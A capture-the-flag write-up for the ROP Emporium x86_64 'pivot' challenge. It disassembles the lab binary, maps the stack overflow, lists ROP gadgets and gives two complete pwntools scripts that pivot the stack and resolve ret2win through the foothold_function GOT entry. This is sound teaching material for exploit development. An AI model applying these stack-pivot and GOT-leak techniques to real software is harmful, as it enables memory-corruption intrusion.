Ropemporium x86_64 pivot
pivot
Introduction
With this exercice we have a limited space to put our chaine.
We have to use this space as a first stage to prepare a second stage without limit.
The first stage :
- use a reading function like gets to write the second staged rop chain a writable memory segment
- pivot : move the stack in this new segment
The second stage : the hacking rop chaine.
The reference challenge page from ropemporium site is here : pivot
Discovery
Executing the pivot program.
07_pivot$ ./pivot
pivot by ROP Emporium
x86_64
Call ret2win() from libpivot
The Old Gods kindly bestow upon you a place to pivot: 0x7f9c43bdcf10
Send a ROP chain now and it will land there
> OK
Thank you!
Now please send your stack smash
> OK2
Thank you!
Exiting
An address is given to us. And two messages are asked.
The main function
[0x00400847]> pdf @main
;-- rip:
; DATA XREF from entry0 @ 0x40077d
┌ 170: int main (int argc, char **argv, char **envp);
│ ; var int64_t var_10h @ rbp-0x10
│ ; var void *ptr @ rbp-0x8
│ 0x00400847 55 push rbp
│ 0x00400848 4889e5 mov rbp, rsp
│ 0x0040084b 4883ec10 sub rsp, 0x10
│ 0x0040084f 488b051a0820. mov rax, qword [obj.stdout] ; obj.__TMC_END__
│ ; [0x601070:8]=0
│ 0x00400856 b900000000 mov ecx, 0 ; size_t size
│ 0x0040085b ba02000000 mov edx, 2 ; int mode
│ 0x00400860 be00000000 mov esi, 0 ; char *buf
│ 0x00400865 4889c7 mov rdi, rax ; FILE*stream
│ 0x00400868 e8d3feffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x0040086d bf580a4000 mov edi, str.pivot_by_ROP_Emporium ; 0x400a58 ; "pivot by ROP Emporium" ; const char *s
│ 0x00400872 e869feffff call sym.imp.puts ; int puts(const char *s)
│ 0x00400877 bf6e0a4000 mov edi, str.x86_64_n ; 0x400a6e ; "x86_64\n" ; const char *s
│ 0x0040087c e85ffeffff call sym.imp.puts ; int puts(const char *s)
│ 0x00400881 48c745f80000. mov qword [ptr], 0
│ 0x00400889 bf00000001 mov edi, 0x1000000 ; size_t size
│ 0x0040088e e89dfeffff call sym.imp.malloc ; void *malloc(size_t size)
│ 0x00400893 488945f8 mov qword [ptr], rax
│ 0x00400897 48837df800 cmp qword [ptr], 0
│ ┌─< 0x0040089c 7514 jne 0x4008b2
│ │ 0x0040089e bf780a4000 mov edi, str.Failed_to_request_space_for_pivot_stack ; 0x400a78 ; "Failed to request space for pivot stack" ; const char *s
│ │ 0x004008a3 e838feffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x004008a8 bf01000000 mov edi, 1
│ │ 0x004008ad e89efeffff call sym.imp.exit
│ │ ; CODE XREF from main @ 0x40089c
│ └─> 0x004008b2 488b45f8 mov rax, qword [ptr]
│ 0x004008b6 480500ffff00 add rax, 0xffff00
│ 0x004008bc 488945f0 mov qword [var_10h], rax
│ 0x004008c0 488b45f0 mov rax, qword [var_10h]
│ 0x004008c4 4889c7 mov rdi, rax ; int64_t arg1
│ 0x004008c7 e825000000 call sym.pwnme
│ 0x004008cc 48c745f00000. mov qword [var_10h], 0
│ 0x004008d4 488b45f8 mov rax, qword [ptr]
│ 0x004008d8 4889c7 mov rdi, rax ; void *ptr
│ 0x004008db e8f0fdffff call sym.imp.free ; void free(void *ptr)
│ 0x004008e0 bfa00a4000 mov edi, str._nExiting ; 0x400aa0 ; "\nExiting" ; const char *s
│ 0x004008e5 e8f6fdffff call sym.imp.puts ; int puts(const char *s)
│ 0x004008ea b800000000 mov eax, 0
│ 0x004008ef c9 leave
└ 0x004008f0 c3 ret
The main function allocate for us a large memory segment The address is stored in $rbp-8.
The pwnme function is called with the allocated address + 0xffff00 witch is the end - 256 address of the bloc. Its a good stack pivot addresse.
The 256 octets margin is a security option for intermediate callable libc functions
┌ 183: sym.pwnme (void *arg1);
│ ; var void *buf @ rbp-0x28
│ ; var void *s @ rbp-0x20
│ ; arg void *arg1 @ rdi
│ 0x004008f1 55 push rbp
│ 0x004008f2 4889e5 mov rbp, rsp
│ 0x004008f5 4883ec30 sub rsp, 0x30
│ 0x004008f9 48897dd8 mov qword [buf], rdi ; arg1
│ 0x004008fd 488d45e0 lea rax, [s]
│ 0x00400901 ba20000000 mov edx, 0x20 ; 32 ; size_t n
│ 0x00400906 be00000000 mov esi, 0 ; int c
│ 0x0040090b 4889c7 mov rdi, rax ; void *s
│ 0x0040090e e8edfdffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
│ 0x00400913 bfa90a4000 mov edi, str.Call_ret2win___from_libpivot ; 0x400aa9 ; "Call ret2win() from libpivot" ; const char *s
│ 0x00400918 e8c3fdffff call sym.imp.puts ; int puts(const char *s)
│ 0x0040091d 488b45d8 mov rax, qword [buf]
│ 0x00400921 4889c6 mov rsi, rax
│ 0x00400924 bfc80a4000 mov edi, str.The_Old_Gods_kindly_bestow_upon_you_a_place_to_pivot:__p_n
│ 0x00400929 b800000000 mov eax, 0
│ 0x0040092e e8bdfdffff call sym.imp.printf ; int printf(const char *format)
│ 0x00400933 bf080b4000 mov edi, str.Send_a_ROP_chain_now_and_it_will_land_there
│ 0x00400938 e8a3fdffff call sym.imp.puts ; int puts(const char *s)
│ 0x0040093d bf340b4000 mov edi, 0x400b34 ; '>'
│ 0x00400942 b800000000 mov eax, 0
│ 0x00400947 e8a4fdffff call sym.imp.printf ; int printf(const char *format)
│ 0x0040094c 488b45d8 mov rax, qword [buf]
│ 0x00400950 ba00010000 mov edx, 0x100 ; 256 ; size_t nbyte
│ 0x00400955 4889c6 mov rsi, rax ; void *buf
│ 0x00400958 bf00000000 mov edi, 0 ; stdin
│ 0x0040095d e8aefdffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x00400962 bf370b4000 mov edi, str.Thank_you__n ; 0x400b37 ; "Thank you!\n" ; const char *s
│ 0x00400967 e874fdffff call sym.imp.puts ; int puts(const char *s)
│ 0x0040096c bf480b4000 mov edi, str.Now_please_send_your_stack_smash ;
│ 0x00400971 e86afdffff call sym.imp.puts ; int puts(const char *s)
│ 0x00400976 bf340b4000 mov edi, 0x400b34 ; '>' ; const char *format
│ 0x0040097b b800000000 mov eax, 0
│ 0x00400980 e86bfdffff call sym.imp.printf ; int printf(const char *format)
│ 0x00400985 488d45e0 lea rax, [s]
│ 0x00400989 ba40000000 mov edx, 0x40 ; 64 bytes : 8 words
│ 0x0040098e 4889c6 mov rsi, rax ; rbp-0x20
│ 0x00400991 bf00000000 mov edi, 0 ; int fildes
│ 0x00400996 e875fdffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x0040099b bf690b4000 mov edi, str.Thank_you_ ; 0x400b69 ; "Thank you!" ; const char *s
│ 0x004009a0 e83bfdffff call sym.imp.puts ; int puts(const char *s)
│ 0x004009a5 90 nop
│ 0x004009a6 c9 leave
└ 0x004009a7 c3 ret
The first read can have as size of 256 bytes and is put to the address given as and stroed in $rbp-0x28. The we can send our hacking rop chaine in the first message and it will be stored in the heap allocated bloc.
The second read as a size of 0x40 (60) and write to rbp-0x20 (rbp-32). Then the return adresse offset is 40 and only 24 bytes lefts for the ropchaine.
A quick illustration
The stack just before the second read :
gef➤ x/12xg $rsp
0x7fffffffe170: 0x0000000000000000 0x00007ffff7bd7f10
allocated bloc
0x7fffffffe180: 0x0000000000000000 0x0000000000000000
Buffer start
0x7fffffffe190: 0x0000000000000000 0x0000000000000000
0x7fffffffe1a0: 0x00007fffffffe1c0 0x00000000004008cc
SRBP SRIP
0x7fffffffe1b0: 0x00007ffff7bd7f10 0x00007ffff6bd8010
0x7fffffffe1c0: 0x00000000004009d0 0x00007ffff7bffd0a
After the read of “AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDFFFFFFFFGGGGGGGGHHHHHHHHIIIIIIII”
gef➤ x/12xg $rsp
0x7fffffffe170: 0x0000000000000000 0x00007ffff7bd7f10
0x7fffffffe180: 0x4141414141414141 0x4242424242424242
0x7fffffffe190: 0x4343434343434343 0x4544444444444444
0x7fffffffe1a0: 0x4645454545454545 0x4746464646464646
SRBP crushed SRIP crushed
0x7fffffffe1b0: 0x4847474747474747 0x4948484848484848
0x7fffffffe1c0: 0x00000000004009d0 0x00007ffff7bffd0a
NOT crushed
We use 5 words before overflow, only 3 lefts.
Building the attack
Stage 1 : pivot the stack
With this 3 word we have to pivot the stack.
Pivot the stack mean : set a new adress in rsp : pop rsp.
with r2 we find a pop rsp gadget :
[0x00400847]> /R pop rsp
0x00400a2d 5c pop rsp
0x00400a2e 415d pop r13
0x00400a30 415e pop r14
0x00400a32 415f pop r15
0x00400a34 c3 ret
But it will use 4 entries on thh stacks.
we can also use a xchg gadget
0x004009be : xchg eax, esp ; ret
To use it we will do
- pop eax
- @pivot
- xchg eax, esp ; ret
address | comment |
---|---|
0x04009bb | pop rax ; ret |
leak | pivot stack adresse |
0x004009be | xchg eax, esp ; ret |
This chaine take the 3 avalable slots. Il will work.
An other way is to use the frequently present leave instruction. leave do :
- mov rsp, rbp
- pop rbp We’ve just overwritten the value of srbp with content we control. An and the leave of pwnme put this value in rbp.
we can set :
gef➤ x/8xg $rsp
0x7fffffffe190: 0x0000000000000000 0x00007ffff7bd8f10
0x7fffffffe1a0: 0x4141414141414141 0x4242424242424242
0x7fffffffe1b0: 0x4343434343434343 0x4444444444444444
0x7fffffffe1c0: [pivot address-8 ] [leave gadget ]
[]
Note the - 8 on pivot address because of the “pop rbp” (by leave)
At the end of the overflow string we add : “leeked pivot stack adresse” - 8
And the ROP chain is simple ret2win
address | comment |
---|---|
0x004009a6 | leave |
Stage 2 : exploitation rop chain
The goal is to call a ret2win function.
There is no symbol ret2win in the executable :
#rabin2 -s pivot|grep ret2win
There is one in libpivot.so
07_pivot# rabin2 -s libpivot.so|grep ret2win
18 0x00000a81 0x00000a81 GLOBAL FUNC 146 ret2win
But not directly imported by pivot.
07_pivot# rabin2 -i pivot
[Imports]
nth vaddr bind type lib name
―――――――――――――――――――――――――――――――――――――
1 0x004006d0 GLOBAL FUNC free
2 0x004006e0 GLOBAL FUNC puts
3 0x004006f0 GLOBAL FUNC printf
4 0x00400700 GLOBAL FUNC memset
5 0x00400710 GLOBAL FUNC read
6 0x00000000 GLOBAL FUNC __libc_start_main
7 0x00000000 WEAK NOTYPE __gmon_start__
8 0x00400720 GLOBAL FUNC foothold_function
9 0x00400730 GLOBAL FUNC malloc
10 0x00400740 GLOBAL FUNC setvbuf
11 0x00400750 GLOBAL FUNC exit
In pivot we can find a uselessFunction
gef➤ disas uselessFunction
Dump of assembler code for function uselessFunction:
0x00000000004009a8 <+0>: push rbp
0x00000000004009a9 <+1>: mov rbp,rsp
0x00000000004009ac <+4>: call 0x400720 <foothold_function@plt>
0x00000000004009b1 <+9>: mov edi,0x1
0x00000000004009b6 <+14>: call 0x400750 <exit@plt>
End of assembler dump.
witch call : foothold_function in the library.
gef➤ disas foothold_function
Dump of assembler code for function foothold_function:
0x00007f1efcb3d96a <+0>: push rbp
0x00007f1efcb3d96b <+1>: mov rbp,rsp
0x00007f1efcb3d96e <+4>: lea rdi,[rip+0x1ab] # 0x7f1efcb3db20
0x00007f1efcb3d975 <+11>: call 0x7f1efcb3d830 <puts@plt>
0x00007f1efcb3d97a <+16>: nop
0x00007f1efcb3d97b <+17>: pop rbp
0x00007f1efcb3d97c <+18>: ret
End of assembler dump.
gef➤ x/s 0x7fa191a00b20
0x7fa191a00b20: "foothold_function(): Check out my .got.plt entry to gain a foothold into libpivot"
foothold_function is imported by pivot and from his address we ca obtain the ret2win adress :
Win rabin2 or readelf we cat obtain des offset of the funcions in the lib.
root@zbook310152:/w/ropemporium/x64/07_pivot# rabin2 -s libpivot.so|grep FUN
10 0x0000096a 0x0000096a GLOBAL FUNC 19 foothold_function
11 0x00000b14 0x00000b14 GLOBAL FUNC 0 _fini
12 0x00000808 0x00000808 GLOBAL FUNC 0 _init
15 0x00000a67 0x00000a67 GLOBAL FUNC 26 void_function_10
17 0x0000097d 0x0000097d GLOBAL FUNC 26 void_function_01
18 0x00000a81 0x00000a81 GLOBAL FUNC 146 ret2win
foothold_function
ret2win address is foothold_function address + 0x117 (0xa81 - 0x96a)
Where is the address of foothold_function ?
We can fount it in the GOT table but only after a fist call.
Looking at the got at the end of ther pwnme function.
gef➤ got
[*] .gef-2b72f5d0d9f0f218a91cd1ca5148e45923b950d5.py:L8817 'checksec' is deprecated and will be removed in a feature release. Use Elf(fname).checksec()
GOT protection: Partial RelRO | GOT functions: 9
[0x601018] free@GLIBC_2.2.5 → 0x4006d6
[0x601020] puts@GLIBC_2.2.5 → 0x7f64f3a96820
[0x601028] printf@GLIBC_2.2.5 → 0x7f64f3a71450
[0x601030] memset@GLIBC_2.2.5 → 0x7f64f3b72040
[0x601038] read@GLIBC_2.2.5 → 0x7f64f3b170e0
[0x601040] foothold_function → 0x400726
[0x601048] malloc@GLIBC_2.2.5 → 0x7f64f3ab7700
[0x601050] setvbuf@GLIBC_2.2.5 → 0x7f64f3a96e30
[0x601058] exit@GLIBC_2.2.5 → 0x400756
The address of foothold_function has not yet been resolved.
Undesrtanding this address : 0x400726
Starting from the function wich use foothold_function to botain th plt entry :
gef➤ disas uselessFunction
Dump of assembler code for function uselessFunction:
0x00000000004009a8 <+0>: push rbp
0x00000000004009a9 <+1>: mov rbp,rsp
0x00000000004009ac <+4>: call 0x400720 <foothold_function@plt>
0x00000000004009b1 <+9>: mov edi,0x1
0x00000000004009b6 <+14>: call 0x400750 <exit@plt>
End of assembler dump.
gef➤ x/4i 0x400720
0x400720 <foothold_function@plt>: jmp QWORD PTR [rip+0x20091a] # 0x601040 <foothold_function@got.plt>
0x400726 <foothold_function@plt+6>: push 0x5 # <=== jump to the resolve function with entree 5
0x40072b <foothold_function@plt+11>: jmp 0x4006c0
0x400730 <malloc@plt>: jmp QWORD PTR [rip+0x200912] # 0x601048 <malloc@got.plt>
exit and free functions are in the same state. puts is resolved in the libc library : 0x7f64f3a96820
we need to call one time foothold_function (0x601040) first.
The ret2win() function in the libpivot shared object isn’t imported, but that doesn’t mean you can’t call it using ROP! You’ll need to find the .got.plt entry of foothold_function() and add the offset of ret2win() to it to resolve its actual address. Notice that foothold_function() isn’t called during normal program flow, you’ll have to call it first to update its .got.plt entry.
Method 1 : call rax
With this method the steps are :
- call foothold
- read the addres from got to reg
- adjuste address to ret2win addres in reg
- call reg
Useful gadgets
- 0x04009bb : pop rax ; ret
- 0x04009c0 : mov rax, qword ptr [rax] ; ret
- 0x0400808 : pop rbp; ret
- 0x04009c4 : add rax, rbp ; ret
- 0x04006b0 : call rax
The ROP chaine :
address | gadget | comment |
---|---|---|
0x601040 | foothold_function@plt | load foothold_function@got |
0x04009bb | pop rax ; ret | |
0x601040 | foothold_function@got | for pop rax |
0x04009c0 | mov rax, qword ptr [rax] ; ret | read the got entry |
0x0400808 | pop rbp; ret | get the offset to add |
0x117 | diff between foothold_function and ret2win | |
0x04009c4 | add rax, rbp ; ret | rax <= rax+0x117 |
0x04006b0 | call rax | call ret2win |
Method 2 : get a leak and recall
The steps :
- pivot
- call foothold
- leak got entry with puts
- return to the begining of pwnme
- send a new first message without usage
- send a new short exploit ropchainve with
- calculated ret2win address
1. Round 1 - message 1 : leak ropchain
address | gadget | comment |
---|---|---|
0x601040 | foothold_function@plt | load foothold_function@got |
0x400a33 | pop rdi ; ret | load edi with foothold_function@got |
0x601040 | foothold_function@got | for rdi |
0x4006e0 | puts@plt | call puts(foothold_function@got) |
0x4008f1 | pwnme | Recall pwnme |
2. Round 1 - message 2 : pivot
Overflow until SEBP only
address | gadget | comment |
---|---|---|
@pivot-8 | note really in ropchaine but replace SEBP | |
0x004009a6 | leave | pivot |
3. Round 2 - message 1
anything
4. Round 2 - message 2 ret2win
address | gadget | comment |
---|---|---|
@ret2win | foothold_function@got+0x117 |
Method 3 : modify a got.plt entry
No write gadget found
Exploitation
Methode 1 python script
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time
import sys
# Version avec appel de call rax
gs='''
b *pwnme+180
c
'''
# Offset avant ecrasement de l'adresse de RBP
offset=0x20
# Set up pwntools for the correct architecture
elf = ELF('pivot')
context.binary=elf
useless_func=elf.symbols['uselessFunction']
got_foothold=elf.got['foothold_function']
plt_foothold=elf.plt['foothold_function']
pwnme=elf.symbols['pwnme']
# References ELF de la librairie
libelf = ELF('libpivot.so')
# Calcul de la distance entre ret2win et foothold_function
lib_foothold = libelf.symbols['foothold_function']
lib_ret2win = libelf.symbols['ret2win']
off_ret2win=lib_ret2win-lib_foothold
# Gadgets
g_leave = pwnme+181
g_poprax=0x04009bb
g_poprbp=0x0400808
g_addrax=0x04009c4
g_callrax=0x04006b0
g_movraxrax=0x04009c0
io = process([elf.path])
if len(sys.argv)>1 and sys.argv[1] == "-d":
gdb.attach(io,gs)
time.sleep(1)
#io = gdb.debug([elf.path],gdbscript=gs)
io.recvuntil(b"to pivot:")
leak = io.recvline().rstrip()
print(leak)
leak = int(leak,16)
log.info(f"{leak=:x}")
# Message 1
# Version lecture de la GOT puis call vers ret2win
PL=p64(plt_foothold)
PL+=p64(g_poprax)
PL+=p64(got_foothold)
PL+=p64(g_movraxrax)
PL+=p64(g_poprbp)
PL+=p64(off_ret2win)
PL+=p64(g_addrax)
PL+=p64(g_callrax)
io.sendlineafter(b"> ",PL)
# Message 2 : pivot
PL =b"A"*offset
PL+=p64(leak-8)
PL+=p64(g_leave)
io.sendlineafter(b"> ",PL)
io.interactive()
Methode 2 python script
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time
import sys
# Ropemporium x86_64 pivot
# Version avec appel de puts pour leak
gs='''
b *pwnme+180
c
'''
# Offset avant ecrasement de l'adresse de RBP
offset=0x20
# Set up pwntools for the correct architecture
elf = ELF('pivot')
context.binary=elf
useless_func=elf.symbols['uselessFunction']
puts=elf.symbols['puts']
got_foothold=elf.got['foothold_function']
plt_foothold=elf.plt['foothold_function']
pwnme=elf.symbols['pwnme']
# References ELF de la librairie
libelf = ELF('libpivot.so')
# Calcul de la distance entre ret2win et foothold_function
lib_foothold = libelf.symbols['foothold_function']
lib_ret2win = libelf.symbols['ret2win']
off_ret2win=lib_ret2win-lib_foothold
# Gadgets
g_leave = pwnme+181
g_poprax=0x04009bb
g_poprbp=0x0400808
g_poprdi=0x0400a33
g_addrax=0x04009c4
g_callrax=0x04006b0
g_movraxrax=0x04009c0
io = process([elf.path])
if len(sys.argv)>1 and sys.argv[1] == "-d":
gdb.attach(io,gs)
time.sleep(1)
#io = gdb.debug([elf.path],gdbscript=gs)
io.recvuntil(b"to pivot:")
leak = io.recvline().rstrip()
print(leak)
leak = int(leak,16)
log.info(f"{leak=:x}")
io.info("----- First stage ------")
# Message 1
# Version leak avec puts et reboucle
PL=p64(plt_foothold) # Appel foothold
PL+=p64(g_poprdi) # set got.foothold to rdi
PL+=p64(got_foothold) #
PL+=p64(puts) # send it
PL+=p64(pwnme) # go back to pwnme
io.sendlineafter(b"> ",PL)
# Message 2 : pivot
PL2 =b"A"*offset
PL2+=p64(leak-8)
PL2+=p64(g_leave)
io.sendlineafter(b"> ",PL2)
# Reception du leak puts
io.recvline()
rep = io.recvline().rstrip()
rep = io.recvline().rstrip()
info(rep.hex())
leak=u64(rep+b"\x00\x00")
info(f"foothold leak={leak:x}")
io.info("----- Second stage ------")
io.sendlineafter(b"> ",b"AAAA")
PL3 =b"A"*offset
PL3+=p64(0xdeadbeef)
PL3+=p64(leak+off_ret2win)
io.sendlineafter(b"> ",PL3)
io.interactive()